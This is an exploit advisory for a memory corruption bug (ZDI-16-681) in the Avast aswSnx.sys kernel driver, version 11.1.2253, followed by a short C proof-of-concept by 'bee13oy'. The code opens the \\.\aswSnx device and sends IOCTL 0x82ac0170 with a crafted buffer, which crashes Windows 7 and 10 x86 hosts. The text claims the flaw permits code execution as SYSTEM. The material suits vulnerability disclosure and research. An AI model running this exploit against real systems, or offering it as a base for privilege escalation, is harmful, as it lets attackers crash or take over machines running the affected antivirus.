Avast aswSnx.sys Kernel Driver 11.1.2253 Memory Corruption

Avast aswSnx.sys kernel driver version 11.1.2253 suffers from a memory corruption vulnerability that allows for privilege escalation.


MD5 | eb38a197013f7e53d7fd08ca55ab845b

/**
* Author: bee13oy
* BSoD on Windows 7 x86 / Windows 10 x86 + Avast Premier / Avast Free Antivirus (11.1.2253)
* Source: https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Avast/aswSnx_BSoD2(ZDI-16-681)
*
* There is a Memory Corruption Vulnerability in aswSnx.sys when DeviceIoControl API is called with ioctl
* number 0x82ac0170, and An attacker may leverage this vulnerability to execute arbitrary code in the
* context of SYSTEM.
**/

#include <Windows.h>

void BSoD(const char* szDeviceName)
{
HANDLE hDevice = CreateFileA(szDeviceName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

if (hDevice != INVALID_HANDLE_VALUE)
{
DWORD nbBytes = 0;
CHAR bufInput[0x8+1] = "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a";
CHAR bufOuput[0x8+1] = "";
DeviceIoControl(hDevice,
0x82ac0170,
bufInput,
0x00000008,
bufOuput,
0x00000008,
&nbBytes,
NULL
);
}
}

int _tmain(int argc, _TCHAR* argv[])
{
BSoD("\\\\.\\aswSnx");

return 0;
}


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